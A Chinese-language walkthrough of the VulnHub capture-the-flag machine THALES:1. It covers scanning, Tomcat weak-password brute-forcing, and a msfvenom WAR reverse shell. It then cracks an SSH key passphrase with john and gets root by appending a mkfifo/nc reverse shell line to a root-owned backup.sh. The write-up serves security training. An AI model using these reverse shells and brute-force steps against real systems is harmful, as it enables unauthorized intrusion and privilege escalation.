准备:
攻击机:虚拟机kali、本机win10 。
靶机:THALES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/thales/Thales.zip,下载解压后直接vbox打开即可 。
目标:获取user.txt和root.txt 。
知识点:shell反弹、权限提升、tomcat弱口令、密匙破解(john)
文章插图
信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.100.0/24,获得靶机地址:192.168.100.167 。这里因为是在酒店,这里连的的都是一个网络,所以加了-sn,不然比较慢 。
文章插图
扫描下开放的端口与对应的服务:nmap -T4 -sV -p- -A 192.168.100.167,显示开放了22和8080端口 。
文章插图
使用dirmap进行目录扫描,但是未发现有用的目录信息,访问:http://192.168.100.167:8080/ , 发现是tomcat界面 , 在页面点击时发现需要登录 。
文章插图
爆破tomcat弱口令:
这里想到了之前的tomcat弱口令的问题(vuhub上也有这个的模拟环境),因此使用msf尝试爆破下弱口令,在msf中搜索下tomcat漏洞,search tomcat,然后找到用于爆破弱口令的并使用 。
文章插图
使用方式:use 19,然后设置下目标主机:set rhost 192.168.100.167 , (可以show options查看当前配置的信息),然后run即可 。成功获得账户名和密码:tomcat/role1 。
文章插图
文章插图
使用爆破获得账户名和密码:tomcat/role1,成功登录到管理界面 。
文章插图
获取shell权限:
在应用程序列表中我们可以进行文件上传和服务部署,因此构造一个反弹shell进行部署 , 生成反弹shell:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.100.96 LPORT=6688 -f war -o upfine.war,在kali开启监听:nc -lvp 6688,然后将upfine.war文件进行上传部署并访问,成功获得shell权限 。使用python3 -c 'import pty;pty.spawn("/bin/bash")'升级下shell窗口 。
文章插图
文章插图
提权至thales:
在home/thales文件夹下发现了:notes.txt、user.txt、.ssh等文件,读取下相关文件 , 告诉我们存在一个backup.sh脚本,user.txt文件无权限读?。?尝试使用密码:role1进行尝试 , 但是不对 。
文章插图
文章插图
那就先去查看下backup.sh文件的信息:ls -al和cat backup.sh,发现该文件具有root权限,文件内容定义的是备份什么内容,备份到哪去,备份方法和名称等信息,这里我们可以写入一个反弹shell,那在调用的时候就可以反弹一个root权限的shell,但是tomcat账户按这样操作后显示仍是tomcat权限 。
文章插图
在.ssh下发现密匙:id_rsa文件,将密匙文件复制保存到本地文件upfine,然后命令:python2 /usr/share/john/ssh2john.py /home/kali/Desktop/upfine > passwd生成密码本,然后命令:john --wordlist=/usr/share/wordlists/rockyou.txt passwd进行破解,成功获取密码:vodka06
文章插图
文章插图
切换thales账户:su thales,读取下user.txt文件,成功获取到flag信息 。
文章插图
提权至root:
根据上面的我们发现的backup.sh文件具有root权限,那我们就插入一个反弹shell,然后执行backup.sh脚本,成功获取root权限读取到root.txt 。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.100.96 6688 >/tmp/f" >> backup.sh
推荐阅读
- 云顶之弈碧波法师阵容怎么玩
- 九 Istio:istio安全之授权
- Java安全之Tomcat6 Filter内存马
- 云顶之弈S7.5怒玉豹女阵容怎么玩
- 云顶之弈玉龙怎么换形锤阵容
- 云原生之旅 - 4)基础设施即代码 使用 Terraform 创建 Kubernetes
- 云顶之弈龙境探秘活动玩法是什么
- 一 网络安全:信息收集之玩转nmap(理论篇)
- 学习笔记之——C语言 函数
- JavaScript的异步编程之Promise